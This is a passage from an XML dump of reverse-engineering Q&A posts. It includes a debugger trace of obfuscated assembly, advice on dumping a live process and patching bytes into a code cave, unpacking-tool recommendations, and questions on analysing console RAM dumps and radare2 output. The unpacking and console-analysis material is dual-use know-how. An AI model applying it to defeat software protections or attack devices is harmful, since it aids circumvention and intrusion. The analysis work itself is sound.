cy 00000003`de72159e 66ffc1          inc     cx&#xA;rax=fffff8029e610000 rbx=0000000000000000 rcx=00000000000000b1 rdx=ffff8a8e13e66ab0 rsi=0000000000000000 rdi=0000000000000010 rip=00000003de7215a1 rsp=ffff8a8e13e66ca8 rbp=ffff8a8e13e66e40 r8=0000000000000000 r9=00000000000000af r10=ffff8a8e13e667e0 r11=000000004004135c r12=0000000000000000 r13=0000000000000002 r14=0000000000000000 r15=ffff948059d63000 nv up ei pl nz na po cy 00000003`de7215a1 0f94c3          sete    bl&#xA;rax=fffff8029e610000 rbx=0000000000000000 rcx=00000000000000b1 rdx=ffff8a8e13e66ab0 rsi=0000000000000000 rdi=0000000000000010 rip=00000003de7215a4 rsp=ffff8a8e13e66ca8 rbp=ffff8a8e13e66e40 r8=0000000000000000 r9=00000000000000af r10=ffff8a8e13e667e0 r11=000000004004135c r12=0000000000000000 r13=0000000000000002 r14=0000000000000000 r15=ffff948059d63000 nv up ei pl nz na po cy 00000003`de7215a4 41ffc3          inc     r11d&#xA;rax=fffff8029e610000 rbx=0000000000000000 rcx=00000000000000b1 rdx=ffff8a8e13e66ab0 rsi=0000000000000000 rdi=0000000000000010 rip=00000003de7215a7 rsp=ffff8a8e13e66ca8 rbp=ffff8a8e13e66e40 r8=0000000000000000 r9=00000000000000af r10=ffff8a8e13e667e0 r11=000000004004135d r12=0000000000000000 r13=0000000000000002 r14=0000000000000000 r15=ffff948059d63000 nv up ei pl nz na pe cy 00000003`de7215a7 f5              cmc&#xA;rax=fffff8029e610000 rbx=0000000000000000 rcx=00000000000000b1 rdx=ffff8a8e13e66ab0 rsi=0000000000000000 rdi=0000000000000010 rip=00000003de7215a8 rsp=ffff8a8e13e66ca8 rbp=ffff8a8e13e66e40 r8=0000000000000000 r9=00000000000000af r10=ffff8a8e13e667e0 r11=000000004004135d r12=0000000000000000 r13=0000000000000002 r14=0000000000000000 r15=ffff948059d63000 nv up ei pl nz na pe nc 00000003`de7215a8 66400fb6f4      movzx   si,spl&#xA;rax=fffff8029e610000 rbx=0000000000000000 rcx=00000000000000b1 rdx=ffff8a8e13e66ab0 rsi=00000000000000a8 rdi=0000000000000010 rip=00000003de7215ad rsp=ffff8a8e13e66ca8 rbp=ffff8a8e13e66e40 r8=0000000000000000 r9=00000000000000af r10=ffff8a8e13e667e0 r11=000000004004135d r12=0000000000000000 r13=0000000000000002 r14=0000000000000000 r15=ffff948059d63000 nv up ei pl nz na pe nc 00000003`de7215ad 4c03d8          add     r11,rax&#xA;rax=fffff8029e610000 rbx=0000000000000000 rcx=00000000000000b1 rdx=ffff8a8e13e66ab0 rsi=00000000000000a8 rdi=0000000000000010 rip=00000003de7215b0 rsp=ffff8a8e13e66ca8 rbp=ffff8a8e13e66e40 r8=0000000000000000 r9=00000000000000af r10=ffff8a8e13e667e0 r11=fffff802de65135d r12=0000000000000000 r13=0000000000000002 r14=0000000000000000 r15=ffff948059d63000 nv up ei ng nz na pe nc 00000003`de7215b0 12fd            adc     bh,ch&#xA;rax=fffff8029e610000 rbx=0000000000000000 rcx=00000000000000b1 rdx=ffff8a8e13e66ab0 rsi=00000000000000a8 rdi=0000000000000010 rip=00000003de7215b2 rsp=ffff8a8e13e66ca8 rbp=ffff8a8e13e66e40 r8=0000000000000000 r9=00000000000000af r10=ffff8a8e13e667e0 r11=fffff802de65135d r12=0000000000000000 r13=0000000000000002 r14=0000000000000000 r15=ffff948059d63000 nv up ei pl zr na po nc 00000003`de7215b2 49b90000000001000000 mov r9,100000000h&#xA;rax=fffff8029e610000 rbx=0000000000000000 rcx=00000000000000b1 rdx=ffff8a8e13e66ab0 rsi=00000000000000a8 rdi=0000000000000010 rip=00000003de7215bc rsp=ffff8a8e13e66ca8 rbp=ffff8a8e13e66e40 r8=0000000000000000 r9=0000000100000000 r10=ffff8a8e13e667e0 r11=fffff802de65135d r12=0000000000000000 r13=0000000000000002 r14=0000000000000000 r15=ffff948059d63000 nv up ei pl zr na po nc 00000003`de7215bc 49c1cc56        ror     r12,56h&#xA;rax=fffff8029e610000 rbx=0000000000000000 rcx=00000000000000b1 rdx=ffff8a8e13e66ab0 rsi=00000000000000a8 rdi=0000000000000010 rip=00000003de7215c0 rsp=ffff8a8e13e66ca8 rbp=ffff8a8e13e66e40 r8=0000000000000000 r9=0000000100000000 r10=ffff8a8e13e667e0 r11=fffff802de65135d r12=0000000000000000 r13=0000000000000002 r14=0000000000000000 r15=ffff948059d63000 nv up ei pl zr na po nc 00000003`de7215c0 4d03d9          add     r11,r9&#xA;rax=fffff8029e610000 rbx=0000000000000000 rcx=00000000000000b1 rdx=ffff8a8e13e66ab0 rsi=00000000000000a8 rdi=0000000000000010 rip=00000003de7215c3 rsp=ffff8a8e13e66ca8 rbp=ffff8a8e13e66e40 r8=0000000000000000 r9=0000000100000000 r10=ffff8a8e13e667e0 r11=fffff803de65135d r12=0000000000000000 r13=0000000000000002 r14=0000000000000000 r15=ffff948059d63000 nv up ei ng nz na pe nc 00000003`de7215c3 66450fbde0      bsr     r12w,r8w&#xA;rax=fffff8029e610000 rbx=0000000000000000 rcx=00000000000000b1 rdx=ffff8a8e13e66ab0 rsi=00000000000000a8 rdi=0000000000000010 rip=00000003de7215c8 rsp=ffff8a8e13e66ca8 rbp=ffff8a8e13e66e40 r8=0000000000000000 r9=0000000100000000 r10=ffff8a8e13e667e0 r11=fffff803de65135d r12=0000000000000000 r13=0000000000000002 r14=0000000000000000 r15=ffff948059d63000 nv up ei pl zr na po nc 00000003`de7215c8 4c8be4          mov     r12,rsp&#xA;rax=fffff8029e610000 rbx=0000000000000000 rcx=00000000000000b1 rdx=ffff8a8e13e66ab0 rsi=00000000000000a8 rdi=0000000000000010 rip=00000003de7215cb rsp=ffff8a8e13e66ca8 rbp=ffff8a8e13e66e40 r8=0000000000000000 r9=0000000100000000 r10=ffff8a8e13e667e0 r11=fffff803de65135d r12=ffff8a8e13e66ca8 r13=0000000000000002 r14=0000000000000000 r15=ffff948059d63000 nv up ei pl zr na po nc 00000003`de7215cb 49d3c6          rol     r14,cl&#xA;rax=fffff8029e610000 rbx=0000000000000000 rcx=00000000000000b1 rdx=ffff8a8e13e66ab0 rsi=00000000000000a8 rdi=0000000000000010 rip=00000003de7215ce rsp=ffff8a8e13e66ca8 rbp=ffff8a8e13e66e40 r8=0000000000000000 r9=0000000100000000 r10=ffff8a8e13e667e0 r11=fffff803de65135d r12=ffff8a8e13e66ca8 r13=0000000000000002 r14=0000000000000000 r15=ffff948059d63000 nv up ei pl zr na po nc 00000003`de7215ce 4180fbcc        cmp     r11b,0CCh&#xA;rax=fffff8029e610000 rbx=0000000000000000 rcx=00000000000000b1 rdx=ffff8a8e13e66ab0 rsi=00000000000000a8 rdi=0000000000000010 rip=00000003de7215d2 rsp=ffff8a8e13e66ca8 rbp=ffff8a8e13e66e40 r8=0000000000000000 r9=0000000100000000 r10=ffff8a8e13e667e0 r11=fffff803de65135d r12=ffff8a8e13e66ca8 r13=0000000000000002 r14=0000000000000000 r15=ffff948059d63000 ov up ei ng nz na pe cy 00000003`de7215d2 c0c395          rol     bl,95h&#xA;rax=fffff8029e610000 rbx=0000000000000000 rcx=00000000000000b1 rdx=ffff8a8e13e66ab0 rsi=00000000000000a8 rdi=0000000000000010 rip=00000003de7215d5 rsp=ffff8a8e13e66ca8 rbp=ffff8a8e13e66e40 r8=0000000000000000 r9=0000000100000000 r10=ffff8a8e13e667e0 r11=fffff803de65135d r12=ffff8a8e13e66ca8 r13=0000000000000002 r14=0000000000000000 r15=ffff948059d63000 nv up ei ng nz na pe nc 00000003`de7215d5 4881ec80010000  sub     rsp,180h&#xA;rax=fffff8029e610000 rbx=0000000000000000 rcx=00000000000000b1 rdx=ffff8a8e13e66ab0 rsi=00000000000000a8 rdi=0000000000000010 rip=00000003de7215dc rsp=ffff8a8e13e66b28 rbp=ffff8a8e13e66e40 r8=0000000000000000 r9=0000000100000000 r10=ffff8a8e13e667e0 r11=fffff803de65135d r12=ffff8a8e13e66ca8 r13=0000000000000002 r14=0000000000000000 r15=ffff948059d63000 nv up ei ng nz na po nc 00000003`de7215dc 4881e4f0ffffff  and     rsp,0FFFFFFFFFFFFFFF0h&#xA;rax=fffff8029e610000 rbx=0000000000000000 rcx=00000000000000b1 rdx=ffff8a8e13e66ab0 rsi=00000000000000a8 rdi=0000000000000010 rip=00000003de7215e3 rsp=ffff8a8e13e66b20 rbp=ffff8a8e13e66e40 r8=0000000000000000 r9=0000000100000000 r10=ffff8a8e13e667e0 r11=fffff803de65135d r12=ffff8a8e13e66ca8 r13=0000000000000002 r14=0000000000000000 r15=ffff948059d63000 nv up ei ng nz na pe nc 00000003`de7215e3 c0f798          sal     bh,98h&#xA;rax=fffff8029e610000 rbx=0000000000000000 rcx=00000000000000b1 rdx=ffff8a8e13e66ab0 rsi=00000000000000a8 rdi=0000000000000010 rip=00000003de7215e6 rsp=ffff8a8e13e66b20 rbp=ffff8a8e13e66e40 r8=0000000000000000 r9=0000000100000000 r10=ffff8a8e13e667e0 r11=fffff803de65135d r12=ffff8a8e13e66ca8 r13=0000000000000002 r14=0000000000000000 r15=ffff948059d63000 nv up ei pl zr na po nc 00000003`de7215e6 f5              cmc&#xA;rax=fffff8029e610000 rbx=0000000000000000 rcx=00000000000000b1 rdx=ffff8a8e13e66ab0 rsi=00000000000000a8 rdi=0000000000000010 rip=00000003de7215e7 rsp=ffff8a8e13e66b20 rbp=ffff8a8e13e66e40 r8=0000000000000000 r9=0000000100000000 r10=ffff8a8e13e667e0 r11=fffff803de65135d r12=ffff8a8e13e66ca8 r13=0000000000000002 r14=0000000000000000 r15=ffff948059d63000 nv up ei pl zr na po cy 00000003`de7215e7 498bdb          mov     rbx,r11&#xA;rax=fffff8029e610000 rbx=fffff803de65135d rcx=00000000000000b1 rdx=ffff8a8e13e66ab0 rsi=00000000000000a8 rdi=0000000000000010 rip=00000003de7215ea rsp=ffff8a8e13e66b20 rbp=ffff8a8e13e66e40 r8=0000000000000000 r9=0000000100000000 r10=ffff8a8e13e667e0 r11=fffff803de65135d r12=ffff8a8e13e66ca8 r13=0000000000000002 r14=0000000000000000 r15=ffff948059d63000 nv up ei pl zr na po cy 00000003`de7215ea 40d2fe          sar     sil,cl&#xA;rax=fffff8029e610000 rbx=fffff803de65135d rcx=00000000000000b1 rdx=ffff8a8e13e66ab0 rsi=00000000000000ff rdi=0000000000000010 rip=00000003de7215ed rsp=ffff8a8e13e66b20 rbp=ffff8a8e13e66e40 r8=0000000000000000 r9=0000000100000000 r10=ffff8a8e13e667e0 r11=fffff803de65135d r12=ffff8a8e13e66ca8 r13=0000000000000002 r14=0000000000000000 r15=ffff948059d63000 nv up ei ng nz na po cy 00000003`de7215ed 4881e1033adb14  and     rcx,14DB3A03h&#xA;rax=fffff8029e610000 rbx=fffff803de65135d rcx=0000000000000001 rdx=ffff8a8e13e66ab0 rsi=00000000000000ff rdi=0000000000000010 rip=00000003de7215f4 rsp=ffff8a8e13e66b20 rbp=ffff8a8e13e66e40 r8=0000000000000000 r9=0000000100000000 r10=ffff8a8e13e667e0 r11=fffff803de65135d r12=ffff8a8e13e66ca8 r13=0000000000000002 r14=0000000000000000 r15=ffff948059d63000 nv up ei pl nz na pe nc 00000003`de7215f4 d2e5            shl     ch,cl&#xA;rax=fffff8029e610000 rbx=fffff803de65135d rcx=0000000000000001 rdx=ffff8a8e13e66ab0 rsi=00000000000000ff rdi=0000000000000010 rip=00000003de7215f6 rsp=ffff8a8e13e66b20 rbp=ffff8a8e13e66e40 r8=0000000000000000 r9=0000000100000000 r10=ffff8a8e13e667e0 r11=fffff803de65135d r12=ffff8a8e13e66ca8 r13=0000000000000002 r14=0000000000000000 r15=ffff948059d63000 nv up ei pl zr na po nc 00000003`de7215f6 49be0000619e02f8ffff mov r14,0FFFFF8029E610000h&#xA;rax=fffff8029e610000 rbx=fffff803de65135d rcx=0000000000000001 rdx=ffff8a8e13e66ab0 rsi=00000000000000ff rdi=0000000000000010 rip=00000003de721600 rsp=ffff8a8e13e66b20 rbp=ffff8a8e13e66e40 r8=0000000000000000 r9=0000000100000000 r10=ffff8a8e13e667e0 r11=fffff803de65135d r12=ffff8a8e13e66ca8 r13=0000000000000002 r14=fffff8029e610000 r15=ffff948059d63000 nv up ei pl zr na po nc 00000003`de721600 66410f41cd      cmovno  cx,r13w&#xA;rax=fffff8029e610000 rbx=fffff803de65135d rcx=0000000000000002 rdx=ffff8a8e13e66ab0 rsi=00000000000000ff rdi=0000000000000010 rip=00000003de721605 rsp=ffff8a8e13e66b20 rbp=ffff8a8e13e66e40 r8=0000000000000000 r9=0000000100000000 r10=ffff8a8e13e667e0 r11=fffff803de65135d r12=ffff8a8e13e66ca8 r13=0000000000000002 r14=fffff8029e610000 r15=ffff948059d63000 nv up ei pl zr na po nc 00000003`de721605 23cd            and     ecx,ebp&#xA;rax=fffff8029e610000 rbx=fffff803de65135d rcx=0000000000000000 rdx=ffff8a8e13e66ab0 rsi=00000000000000ff rdi=0000000000000010 rip=00000003de721607 rsp=ffff8a8e13e66b20 rbp=ffff8a8e13e66e40 r8=0000000000000000 r9=0000000100000000 r10=ffff8a8e13e667e0 r11=fffff803de65135d r12=ffff8a8e13e66ca8 r13=0000000000000002 r14=fffff8029e610000 r15=ffff948059d63000 nv up ei pl zr na po nc 00000003`de721607 492bde          sub     rbx,r14&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="26916" LastEditorUserId="26916" LastEditDate="2019-01-17T21:22:17.427" LastActivityDate="2019-01-17T21:22:17.427" Title="Simplifying assembly" Tags="|assembly|x86|obfuscation|deobfuscation|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="20246" PostTypeId="2" ParentId="20243" CreationDate="2018-12-31T01:23:51.597" Score="2" Body="&lt;p&gt;If you do not need all of the current program's state (for example the state of the stack, register values, or open handles), then you can try dumping to a new executable and setting the EntryPoint to the current EIP.  OllyDumpEx (&lt;a href=&quot;https://low-priority.appspot.com/ollydumpex/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://low-priority.appspot.com/ollydumpex/&lt;/a&gt;) is commonly used for this purpose for malware analysis.  Despite its name, it is a plugin for both OllyDbg, IDA, x64dbg, and WinDbg.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you do need some of the program state, you can add a custom EntryPoint function or set of instructions that set it up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In theory, the following should work (for a single-threaded 32-bit process)...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You need to save the processor state, stack, and any sections allocated on the heap by user code (such as with calls to VirtualAlloc, HeapAlloc, or malloc).  You will also need to find a place to insert some setup instructions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, when you start your process in the debugger, view the memory map/segments (in IDA, I believe it is in the menu View &gt; Open Subview &gt; Segments) and make note of them (or take a screenshot for reference).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next, run the program up to the point that you want to move it to your other system.  Now look at the memory segments again and note which ones under the Heap are new.  Also make note of the current address of the instruction pointer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now to save the processor state, you can use the PUSHAD and PUSHFD instructions.  Find a &lt;a href=&quot;https://en.wikipedia.org/wiki/Code_cave&quot; rel=&quot;nofollow noreferrer&quot;&gt;code cave&lt;/a&gt; of at least 7 bytes in length.  Edit bytes and change them to 0x60 0x9c, then change the instruction pointer to point to the address of where you inserted those two bytes.  Now single-step twice.  That will execute the PUSHAD and PUSHFD that saves the general purpose registers (including the stack pointer) and the flags.  Now edit those same bytes to 0x9d 0x61 0xEA .  Finally, change the instruction pointer to point to the address of where you inserted those bytes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Run the OllyDumpEx plugin.  Under &lt;code&gt;List section&lt;/code&gt; choose &lt;code&gt;All memory&lt;/code&gt;, then click the &lt;code&gt;ReScan memory&lt;/code&gt; button.  Now check the box next to &lt;code&gt;Auto Adjust Image Base Address&lt;/code&gt;.  Then click on &lt;code&gt;Get EIP as OEP&lt;/code&gt; button.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, in the list of sections in the bottom of the dialog box, there should be several already selected.  Keep those selected.  Additionally select any that are related to the Stack and Heap.  Now click the &lt;code&gt;Dump&lt;/code&gt; button. This may require a bit of trial and error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;NOTE: If your process is multi-threaded then this won't work.  There will be thread-specific state that will also need to be saved, but I am uncertain how to do that.&lt;/p&gt;&#xA;" OwnerUserId="26921" LastEditorUserId="26921" LastEditDate="2019-01-10T02:35:40.933" LastActivityDate="2019-01-10T02:35:40.933" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="20247" PostTypeId="2" ParentId="20008" CreationDate="2018-12-31T01:43:45.900" Score="1" Body="&lt;p&gt;I agree with T.Todua on likely causes, but the tools referenced are a bit dated. &#xA; I'd recommend:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;for packer identification, try PEiD plus custom userdb's (&lt;a href=&quot;https://www.aldeid.com/wiki/PEiD&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.aldeid.com/wiki/PEiD&lt;/a&gt;), ExeInfo-PE (&lt;a href=&quot;http://exeinfo.pe.hu/plugins.htm&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://exeinfo.pe.hu/plugins.htm&lt;/a&gt;), and the Packer rules from Yara-Rules/rules git repository (&lt;a href=&quot;https://github.com/Yara-Rules/rules&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/Yara-Rules/rules&lt;/a&gt;)&lt;/li&gt;&#xA;&lt;li&gt;for dumping and fixing, OllyDumpEx (&lt;a href=&quot;https://low-priority.appspot.com/ollydumpex/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://low-priority.appspot.com/ollydumpex/&lt;/a&gt;) and Scylla Import Reconstructor (&lt;a href=&quot;https://github.com/NtQuery/Scylla&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/NtQuery/Scylla&lt;/a&gt;) for native Windows code or dnSpy for managed code (&lt;a href=&quot;https://github.com/0xd4d/dnSpy&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/0xd4d/dnSpy&lt;/a&gt;)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="26921" LastActivityDate="2018-12-31T01:43:45.900" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20249" PostTypeId="2" ParentId="20241" CreationDate="2018-12-31T11:36:09.807" Score="1" Body="&lt;p&gt;I have found temporary solution to my issue. I have enabled option &quot;Stay on top&quot; (CTRL+F5) in x32dbg. This way I can go back to debugger to resume execution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It would be better to also enable window mode in game, but it is not possible in this situation.&lt;/p&gt;&#xA;" OwnerUserId="26912" LastActivityDate="2018-12-31T11:36:09.807" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="20253" PostTypeId="1" AcceptedAnswerId="20256" CreationDate="2019-01-01T20:21:27.390" Score="0" ViewCount="136" Body="&lt;p&gt;In &lt;a href=&quot;https://www.hybrid-analysis.com/sample/057c9d88e7206f6669a4615de2c6e02ab6c4e2d570a9e2badf07fe0bd6247274/5c265c3f7ca3e17440781603&quot; rel=&quot;nofollow noreferrer&quot;&gt;this analysis&lt;/a&gt; of a Portable Executable linked using &lt;em&gt;Microsoft Linker (6.0)&lt;/em&gt;, down in the Imported Objects section, the website makes some very specific claims:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;3 .OBJ Files (COFF) linked with LINK.EXE 5.12 (Visual Studio 5 SP2) (build: 9049)&#xA;4 .OBJ Files (COFF) linked with LINK.EXE 6.00 (Visual Studio 6) (build: 8168)&#xA;178 .C Files compiled with CL.EXE 12.00 (Visual Studio 6) (build: 8168)&#xA;26 .CPP Files compiled with CL.EXE 12.00 (Visual Studio 6) (build: 8168)&#xA;41 .ASM Files assembled with MASM 6.13 (Visual Studio 6 SP1) (build: 7299)&#xA;12 .OBJ Files linked with ALIASOBJ.EXE 6.00 (Internal OLDNAMES.LIB Tool) (build: 7291)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As far as I know, all debug information is stripped from the executable, and there certainly aren't 178 embedded ascii strings ending in &quot;.C&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The sections in the PE are the usual .text, .rdata, .data, .rsrc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What type of additional information or metadata in the EXE could be used to make guesses about the original object files?&lt;/p&gt;&#xA;" OwnerUserId="26932" LastActivityDate="2019-01-02T03:00:34.500" Title="How to determine number and/or boundaries of linked object files in a PE generated by Visual Studio 6?" Tags="|binary-analysis|pe|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20254" PostTypeId="1" CreationDate="2019-01-01T22:38:34.817" Score="2" ViewCount="1078" Body="&lt;p&gt;I am trying to reverse engineer / research a black box system, this is, a system for which there is no public information at all. Let's say the system is a modern handheld console.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have already gathered the followed information and data:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The system uses ARM processors and I know their revision (ARM9, and ARM11 exactly)&lt;/li&gt;&#xA;&lt;li&gt;The system has NX bit enabled (so it has a MMU I think). Aditionally, some critical applications run on the baremetal, while common user programs run on virtual memory&lt;/li&gt;&#xA;&lt;li&gt;RAM contents are unencrypted. Using a hardware set-up, I have memory dumps.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;So, I have the memory dumps. What would be an efficient approach? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;First I believe loading it with IDA (or r2) could be helpful. But I don't know how to set up a raw dump in IDA, do i have to load it manually? am i missing something?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Secondly. The dump is not encrypted. I can find strings, references to strings of programs that run in the system, etc... I guess I can also find code (like .text sections in PC but whatever are called in this system) which I should be able to reverse. Is this theory right? if so, how to put it in practice? how can I find pieces of code? I have tried entropy, which seems to be quite useful; code tends to have high entropy. Technically speaking, how would I load that code in IDA properly?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Everything is welcome&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: Run binwalk over the ram dumps. Pretty interesting:&#xA;&lt;a href=&quot;https://gist.github.com/pedro-javierf/2476a1f4f0db72b785e414f77c273512&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://gist.github.com/pedro-javierf/2476a1f4f0db72b785e414f77c273512&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16407" LastEditorUserId="16407" LastEditDate="2019-01-12T22:14:50.937" LastActivityDate="2019-01-12T22:14:50.937" Title="How to reverse engineer a Black Box?" Tags="|binary-analysis|static-analysis|exploit|binary|rop|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20255" PostTypeId="2" ParentId="4624" CreationDate="2019-01-01T23:45:47.043" Score="0" Body="&lt;p&gt;According to &lt;a href=&quot;https://www.virqdroid.com/2014/06/an-introduction-to-gikdbg-ollydbg.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;this blog post&lt;/a&gt;, GikDbg seems like an Ollydbg mod to debug native Android libraries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunatly, the website of GikDbg doesn't exist anymore. &lt;/p&gt;&#xA;" OwnerUserId="11890" LastActivityDate="2019-01-01T23:45:47.043" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20256" PostTypeId="2" ParentId="20253" CreationDate="2019-01-02T03:00:34.500" Score="2" Body="&lt;p&gt;My guess is that the website is parsing the Rich Signature (see &lt;a href=&quot;https://www.ntcore.com/files/richsign.htm&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.ntcore.com/files/richsign.htm&lt;/a&gt; for analysis and details).  There is a shorter description &lt;a href=&quot;https://github.com/dishather/richprint&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;.  Basically, Microsoft's linkers add some info that can be used to infer that information.&lt;/p&gt;&#xA;" OwnerUserId="26921" LastActivityDate="2019-01-02T03:00:34.500" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="20258" PostTypeId="1" CreationDate="2019-01-02T07:37:17.247" Score="2" ViewCount="214" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Why does -A (aaa) analysis show much more information, when using the -d (debug) CLI option in Radare2?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I'm using the newest version of Radare2 to analyze the Windows application.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As can be seen below, using the -d (debug) option with -A (aaa) yields more information on the application, e.g. symbols. Why is that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Without the -d (debug) CLI option:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ r2 -A WindowsService.exe&#xA;Metadata Signature: 0x8bc 0x10001424a5342 12&#xA;.NET Version: v4.0.30319&#xA;[x] Analyze all flags starting with sym. and entry0 (aa)&#xA;[x] Analyze function calls (aac)&#xA;[x] Analyze len bytes of instructions for references (aar)&#xA;[x] Constructing a function name for fcn.* and sym.func.* functions (aan)&#xA;[x] Type matching analysis for all functions (afta)&#xA;[x] Use -AA or aaaa to perform additional experimental analysis.&#xA; -- I didn't say that it was working, I said that it's implemented&#xA;[0x00403e92]&amp;gt; afll&#xA;address    size  nbbs edges    cc cost  min bound range max bound  calls locals args xref frame name&#xA;========== ==== ===== ===== ===== ==== ========== ===== ========== ===== ====== ==== ==== ===== ====&#xA;0x00403e92    6     1     0     1    3 0x00403e92     6 0x00403e98     0    0      0    1     0 entry0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;With the -d (debug) CLI option:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ r2 -d -A WindowsService.exe&#xA;Process with PID 21499 started...&#xA;= attach 21499 21499&#xA;bin.baddr 0x561296b89000&#xA;Using 0x561296b89000&#xA;asm.bits 64&#xA;[x] Analyze all flags starting with sym. and entry0 (aa)&#xA;[x] Analyze function calls (aac)&#xA;[x] Analyze len bytes of instructions for references (aar)&#xA;[x] Constructing a function name for fcn.* and sym.func.* functions (aan)&#xA;[TOFIX: afta can't run in debugger mode.ions (afta)&#xA;[x] Type matching analysis for all functions (afta)&#xA;[x] Use -AA or aaaa to perform additional experimental analysis.&#xA;= attach 21499 21499&#xA;21499&#xA; -- Use zoom.byte=entropy and press 'z' in visual mode to zoom out to see the entropy of the whole file&#xA;[0x7fb177974090]&amp;gt; afll&#xA;address            size  nbbs edges    cc cost          min bound range max bound          calls locals args xref frame name&#xA;================== ==== ===== ===== ===== ==== ================== ===== ================== ===== ====== ==== ==== ===== ====&#xA;0x0000561296b89000  285     3     2     3  134 0x0000561296b89000   292 0x0000561296b89124     0    0      1    0    24 sym.imp.__libc_start_main&#xA;0x0000561296b8d290    6     1     0     1    3 0x0000561296b8d290     6 0x0000561296b8d296     0    0      0    0     0 sym.imp.sigprocmask&#xA;0x0000561296b8d2a0    6     1     0     1    3 0x0000561296b8d2a0     6 0x0000561296b8d2a6     0    0      0    0     0 sym.imp.raise&#xA;0x0000561296b8d2b0    6     1     0     1    3 0x0000561296b8d2b0     6 0x0000561296b8d2b6     0    0      0    0     0 sym.imp.free&#xA;0x0000561296b8d2c0    6     1     0     1    3 0x0000561296b8d2c0     6 0x0000561296b8d2c6     0    0      0    0     0 sym.imp.strcasecmp&#xA;0x0000561296b8d2d0    6     1     0     1    3 0x0000561296b8d2d0     6 0x0000561296b8d2d6     0    0      0    0     0 sym.imp.abort&#xA;0x0000561296b8d2e0    6     1     0     1    3 0x0000561296b8d2e0     6 0x0000561296b8d2e6     0    0      0    1     0 sym.imp.__errno_location&#xA;0x0000561296b8d2f0    6     1     0     1    3 0x0000561296b8d2f0     6 0x0000561296b8d2f6     0    0      0    0     0 sym.imp._exit&#xA;0x0000561296b8d300    6     1     0     1    3 0x0000561296b8d300     6 0x0000561296b8d306     0    0      0    0     0 sym.imp.strcpy&#xA;0x0000561296b8d310    6     1     0     1    3 0x0000561296b8d310     6 0x0000561296b8d316     0    0      0    0     0 sym.imp.qsort&#xA;0x0000561296b8d320    6     1     0     1    3 0x0000561296b8d320     6 0x0000561296b8d326     0    0      0    0     0 sym.imp.isatty&#xA;0x0000561296b8d330    6     1     0     1    3 0x0000561296b8d330     6 0x0000561296b8d336     0    0      0    0     0 sym.imp.sigaction&#xA;0x0000561296b8d340    6     1     0     1    3 0x0000561296b8d340     6 0x0000561296b8d346     0    0      0    0     0 sym.imp.strtod&#xA;0x0000561296b8d350    6     1     0     1    3 0x0000561296b8d350     6 0x0000561296b8d356     0    0      0    0     0 sym.imp.strchrnul&#xA;0x0000561296b8d360    6     1     0     1    3 0x0000561296b8d360     6 0x0000561296b8d366     0    0      0    0     0 sym.imp.faccessat&#xA;0x0000561296b8d370    6     1     0     1    3 0x0000561296b8d370     6 0x0000561296b8d376     0    0      0    0     0 sym.imp.fcntl&#xA;0x0000561296b8d380    6     1     0     1    3 0x0000561296b8d380     6 0x0000561296b8d386     0    0      0    0     0 sym.imp.write&#xA;0x0000561296b8d390    6     1     0     1    3 0x0000561296b8d390     6 0x0000561296b8d396     0    0      0    1     0 sym.imp.getpid&#xA;0x0000561296b8d3a0    6     1     0     1    3 0x0000561296b8d3a0     6 0x0000561296b8d3a6     0    0      0    0     0 